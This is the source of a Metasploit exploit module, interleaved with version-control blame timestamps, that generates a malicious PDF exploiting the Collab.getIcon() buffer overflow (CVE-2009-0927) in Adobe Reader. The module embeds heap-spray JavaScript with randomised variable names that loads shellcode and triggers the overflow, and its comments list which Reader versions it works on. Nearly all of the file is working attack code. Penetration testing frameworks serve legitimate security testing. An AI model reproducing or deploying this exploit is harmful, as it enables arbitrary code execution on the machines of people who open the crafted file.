2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-04-30 08:40:19 +00:00
|
|
|
##
|
2009-03-28 07:40:29 +00:00
|
|
|
|
2011-11-08 21:45:17 +00:00
|
|
|
require 'msf/core/exploit/pdf'
|
2009-03-28 07:40:29 +00:00
|
|
|
require 'msf/core'
|
|
|
|
require 'zlib'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2009-03-28 07:40:29 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
2011-11-08 21:45:17 +00:00
|
|
|
include Msf::Exploit::PDF
|
2009-03-28 07:40:29 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Adobe Collab.getIcon() Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2009-11-19 05:56:03 +00:00
|
|
|
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.
|
2010-04-30 08:40:19 +00:00
|
|
|
Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially
|
|
|
|
crafted pdf that a contains malformed Collab.getIcon() call, an attacker may
|
|
|
|
be able to execute arbitrary code.
|
2009-03-28 07:40:29 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2009-11-19 05:56:03 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'MC',
|
|
|
|
'Didier Stevens <didier.stevens[at]gmail.com>',
|
|
|
|
'jduck'
|
|
|
|
],
|
2009-03-28 07:40:29 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2009-03-28 07:40:29 +00:00
|
|
|
[
|
|
|
|
[ 'CVE', '2009-0927' ],
|
2009-05-12 19:56:54 +00:00
|
|
|
[ 'OSVDB', '53647' ],
|
2009-03-28 07:40:29 +00:00
|
|
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-014/' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
2010-09-25 11:59:02 +00:00
|
|
|
'DisablePayloadHandler' => 'true',
|
2009-03-28 07:40:29 +00:00
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2009-11-19 05:56:03 +00:00
|
|
|
# test results (on Windows XP SP3)
|
|
|
|
# reader 7.0.5 - no trigger
|
|
|
|
# reader 7.0.8 - no trigger
|
|
|
|
# reader 7.0.9 - no trigger
|
|
|
|
# reader 7.1.0 - no trigger
|
|
|
|
# reader 7.1.1 - reported not vulnerable
|
|
|
|
# reader 8.0.0 - works
|
|
|
|
# reader 8.1.2 - works
|
|
|
|
# reader 8.1.3 - reported not vulnerable
|
|
|
|
# reader 9.0.0 - works
|
|
|
|
# reader 9.1.0 - reported not vulnerable
|
|
|
|
[ 'Adobe Reader Universal (JS Heap Spray)', { 'Ret' => '' } ],
|
2009-03-28 07:40:29 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Mar 24 2009',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
|
|
|
|
], self.class)
|
2009-03-28 07:40:29 +00:00
|
|
|
end
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
def exploit
|
2009-03-28 07:40:29 +00:00
|
|
|
# Encode the shellcode.
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-03-28 07:40:29 +00:00
|
|
|
# Make some nops
|
|
|
|
nops = Rex::Text.to_unescape(make_nops(4))
|
|
|
|
|
|
|
|
# Randomize variables
|
2010-04-30 08:40:19 +00:00
|
|
|
rand1 = rand_text_alpha(rand(100) + 1)
|
|
|
|
rand2 = rand_text_alpha(rand(100) + 1)
|
|
|
|
rand3 = rand_text_alpha(rand(100) + 1)
|
|
|
|
rand4 = rand_text_alpha(rand(100) + 1)
|
|
|
|
rand5 = rand_text_alpha(rand(100) + 1)
|
|
|
|
rand6 = rand_text_alpha(rand(100) + 1)
|
|
|
|
rand7 = rand_text_alpha(rand(100) + 1)
|
|
|
|
rand8 = rand_text_alpha(rand(100) + 1)
|
|
|
|
rand9 = rand_text_alpha(rand(100) + 1)
|
|
|
|
rand10 = rand_text_alpha(rand(100) + 1)
|
|
|
|
rand11 = rand_text_alpha(rand(100) + 1)
|
|
|
|
rand12 = rand_text_alpha(rand(100) + 1)
|
2009-03-28 07:40:29 +00:00
|
|
|
|
|
|
|
script = %Q|
|
|
|
|
var #{rand1} = unescape("#{shellcode}");
|
|
|
|
var #{rand2} ="";
|
|
|
|
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
|
|
|
|
#{rand4} = #{rand2} + #{rand1};
|
|
|
|
#{rand5} = unescape("#{nops}");
|
|
|
|
#{rand6} = 20;
|
|
|
|
#{rand7} = #{rand6}+#{rand4}.length
|
|
|
|
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
|
|
|
|
#{rand8} = #{rand5}.substring(0, #{rand7});
|
|
|
|
#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
|
|
|
|
while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
|
|
|
|
#{rand10} = new Array();
|
|
|
|
for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
|
2009-11-18 17:39:37 +00:00
|
|
|
var #{rand12} = unescape("%0a");
|
2009-03-28 07:40:29 +00:00
|
|
|
while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};
|
|
|
|
#{rand12} = "N."+#{rand12};
|
|
|
|
Collab.getIcon(#{rand12});
|
|
|
|
|
|
|
|
|
|
|
|
|
# Create the pdf
|
2011-11-08 21:45:17 +00:00
|
|
|
#pdf = make_pdf(script)
|
|
|
|
pdf = CreatePDF(script)
|
2010-04-30 08:40:19 +00:00
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file...")
|
2009-03-28 07:40:29 +00:00
|
|
|
|
|
|
|
file_create(pdf)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|